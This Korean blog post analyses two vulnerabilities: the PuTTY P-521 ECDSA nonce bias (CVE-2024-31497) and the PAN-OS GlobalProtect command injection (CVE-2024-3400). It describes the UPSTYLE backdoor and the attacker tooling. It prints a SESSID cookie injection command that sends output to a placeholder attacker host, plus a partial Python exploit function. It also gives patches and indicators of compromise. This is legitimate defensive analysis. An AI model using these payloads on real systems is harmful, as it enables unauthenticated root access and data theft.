- PuTTY 0.68 ~ 0.80까지 모든 버전에는 NIST P521 커브를 사용하는 ECDSA(타원 곡선 디지털 서명 알고리즘) 개인 키에서 서명을 생성하는 코드에 심각한 취약점이 존재

> PuTTY 또는 Pageant가 SSH 서버에 인증할 때 키에서 서명을 생성할 때 발생

 

2.1.1 취약점의 영향

- 사용자의 비밀 키가 노출

> 공격자가 다수의 서명된 메시지와 공개 키를 가지고 있으면 개인 키를 복구하는데 충분한 정보를 가지게 됨

> 이를 통해 사용자인 것처럼 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인이 가능해 짐

> 서명을 얻기 위해 키를 사용하여 인증하는 서버를 침해하거나, 키를 보유한 Pageant 사본에 잠시 액세스하면 됨

 

2.1.2 영향받는 키 타입

- 영향을 받는 유일한 키 타입521bit ECDSA

① Windows PuTTYgen에서 'Key fingerprint' 상자의 시작 부분에 ecdsa-sha2-nistp521이 표시되거나
② Windows Pageant에 로드될 때 'NIST p521'로 설명되거나
③ SSH 프로토콜 또는 키 파일에서 ecdsa-sha2-nistp521로 시작하는 ID를 가진 키

> 다른 크기의 ECDSA와 다른 키 알고리즘은 영향 받지 않음 (특히 Ed25519는 영향을 받지 않음)

 

2.1.3 오류 상세 내용

- 모든 DSA(디지털 서명 알고리즘) 서명 체계는 서명 중 무작위 값을 생성해야 함

> nonce(한 번만 사용되는 값) 또는 문자 k로 알려짐
> 공격자가 사용된 값을 추측 하거나 동일한 값으로 생성된 두 개의 서명을 찾을 수 있다면 즉시 개인키 복구가 가능

※ 즉, 무작위성이 없는 시스템에서 DSA 서명을 생성하는 것은 매우 위험

 

- PuTTY는 Windows에서 개발되었기 때문에 난수 생성기가 전혀 없었음

> 무작위 값이 아닌 결정론적 방법을 사용하여 k를 생성

> 해시 입력에 서명할 메시지와 개인 키를 모두 포함하는 보안 해시를 계산하는 것이 핵심 기법 (RFC 6979)

> PuTTY는 2001년부터 동일한 작업을 수행했고 해당 RFC는 2013년 문서화되어 PuTTY는 해당 사양을 따르지 않음

 

2.1.4 취약점 발생 원인

- PuTTY의 기술은 SHA-512 해시를 만든 후 이를 mod q로 줄이는 방식으로 작동

> P521(=영향받는 키 타입)을 제외한 모든 경우에 512bit 숫자를 mod q로 줄임으로써 발생하는 편향은 무시가능

> 그러나 P521의 경우 q가 521bit(즉, 512bit 이상)이므로 512bit 숫자를 mod q로 줄이는 것은 아무 의미가 없음

> 상위 9bit 값이 항상 0인 값을 얻게 되며, 이러한 편향으로 인해 키 복구 공격이 가능해 짐

※ 필요한 서명의 개수는 약 60개

 

2.1.5 취약점 수정 내용 및 대응 방안

- 수정 내역: 모든 DSA 및 ECDSA 키 유형에 대해 RFC 6979를 따르도록 변경

> 이전 시스템 완전 폐기

> Ed25519와 같은 EdDSA 키는 이미 다른 시스템을 사용하고 있어 변경되지 않음

 

- 대응 방안: 영향받는 유형의 키가 있는 경우 즉시 폐기

> 모든 OpenSSH authorized_keys 파일과 다른 SSH 서버의 동일한 파일에서 이전 공개키를 제거

> 손상된 키의 서명이 더 이상 가치가 없도록한 후 새 키 쌍을 생성해 교체

 

3. 참고

[1] https://www.putty.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31497
[3] https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html
[4] https://www.boannews.com/media/view.asp?idx=128945&page=6&kind=1

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400

 

- Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생하는 Command Injection Zero-Day 취약점 (CVSS: 10.0)

> 입력값에 대한 유효성 검증 과정이 잘못 구현되어 있거나 누락되어 발생하는 취약점으로 판단됨

> 인증되지 않은 공격자가 방화벽에서 root 권한을 가진 임의 코드를 실행할 수 있음

> 현재 UTA0218 공격 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점

영향받는 버전
- PAN-OS 11.1 ~ 11.1.2-h3 이전 버전
- PAN-OS 11.0 ~ 11.0.4-h1 이전 버전
- PAN-OS 10.2 ~ 10.2.9-h1 이전 버전

 

2.1 주요내용 [2]

[사진 2] CVE-2024-3400 타임라인

 

- 보안 업체 Volexity는 NSM(Network Security Monitoring) 고객의 방화벽에서 의심스러운 네트워크 트래픽 경고 확인

Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 제로데이 취약점을 악용

> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인

> 해당 백도어를 통해 장치에 추가 명령을 실행

UPSTYLE 백도어 - update[.]py를 사용해 해당 백도어를 유포
> /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포
> 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음

- 동작 과정
① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송
② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색
③ 특정 패턴(명령)을 디코딩 및 실행
④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성
⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송
⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구

※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음

[사진 3] UPSTYLE 백도어 동작 과정

 

- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드

> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지

> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인

> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취

구분 설명
patch - update.cron 파일 존재 여부 확인
> 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정
> policy 파일을 다운로드하고, 60초마다 bash를 통해 실행

- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성
> C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1 - python으로 작성된 on-line 리버스 셸
policy v2 - 공격 명령 실행 결과가 포함된 CSS 파일을 제거
- 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장
> 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3 - 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4 - GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5 - v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6 - SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함

 

2.2 취약점 분석 [3]

[사진 4] 취약한 함수

 

- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행

> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨

[사진 5] SESSID 값 저장

 

- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장

> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장

> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음

curl hxxps://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

 

[사진 6] Exploit 결과

 

- 공격자는 2가지 버그를 결합해 취약한 장치에서 명령을 실행 [4]

> 1단계: SESSID에 셸 명령을 포함해 GlobalProtect에 전송하여 명령이 포함된 파일 생성

> 2단계: cron 작업을 통해 공격자가 제공한 명령이 실행

[사진 7] Expoloit 요약

2.3 PoC

- 깃허브에서 등록된 PoC는 404 Error 반환

> 일부 확인되는 PoC에서는 POST 요청의 데이터에 xml 포맷으로 명령어 전달 [5]

def exploit_firewall(target_ip, payload, root_ca=None):
    url = f"https://{target_ip}/api/"

    data = f"""<?xml version="1.0" encoding="UTF-8"?>
    <request>
        <op cmd="test" />
        <cmd code="ping">{payload}</cmd>
    </request>"""

    headers = {
        "User-Agent": "PAN-OS-Exploit",
        "Content-Type": "application/xml"
    }

    try:
        if root_ca:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
        else:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)

 

3. 대응방안

- 벤더사 제공 보안 업데이트 적용 [6]

> main_isValidSessionId()를 추가하여 SESSID 값을 추출하며 유효한 UUID 값인지 확인

> [사진 4] pansys() 호출시 shell 변수 값을 False로 수정

제품명 영향받는 버전 해결 버전
PAN-OS 11.1 ~ 11.1.2-h3 이전 11.1.2-h3 이상
11.0 ~ 11.0.4-h1 이전 11.0.4-h1 이상
10.2 ~ 10.2.9-h1 이전 10.2.9-h1 이상

 

- 장치 침해 징후 식별

구분 설명
네트워크 트래픽
모니터링
- wget 명령을 이용한 특정 IP, URL에 대한 요청
- GlobalProtect 어플라이언스에서 시작된 내부 여러 시스템에 대한 SMB/RDP 연결
- Chrome 또는 Edge 데이터 또는 ntds[.]dit 파일의 SMB 파일 전송
방화벽 로그 분석 - Palo Alto Networks와 Volexity는 분석을 위한 기술 지원 제공
휘발성 메모리 수집

 

- 관련 침해지표 보안 장비 등록 [7][8]

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400
[2] https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/

[3] https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis

[4] https://www.paloaltonetworks.com/blog/2024/04/more-on-the-pan-os-cve/

[5] https://hackyboiz.github.io/2024/04/14/j0ker/2024-04-13/
[6] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71402&menuNo=205020

[7] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/rules.yar

[8] https://github.com/volexity/threat-intel/blob/main/2024/2024-04-12%20Palo%20Alto%20Networks%20GlobalProtect/indicators/iocs.csv

[9] https://www.boannews.com/media/view.asp?idx=128841&page=1&kind=1
[10] https://www.boannews.com/media/view.asp?idx=128833&page=1&kind=1
[11] https://www.dailysecu.com/news/articleView.html?idxno=155122

+ Recent posts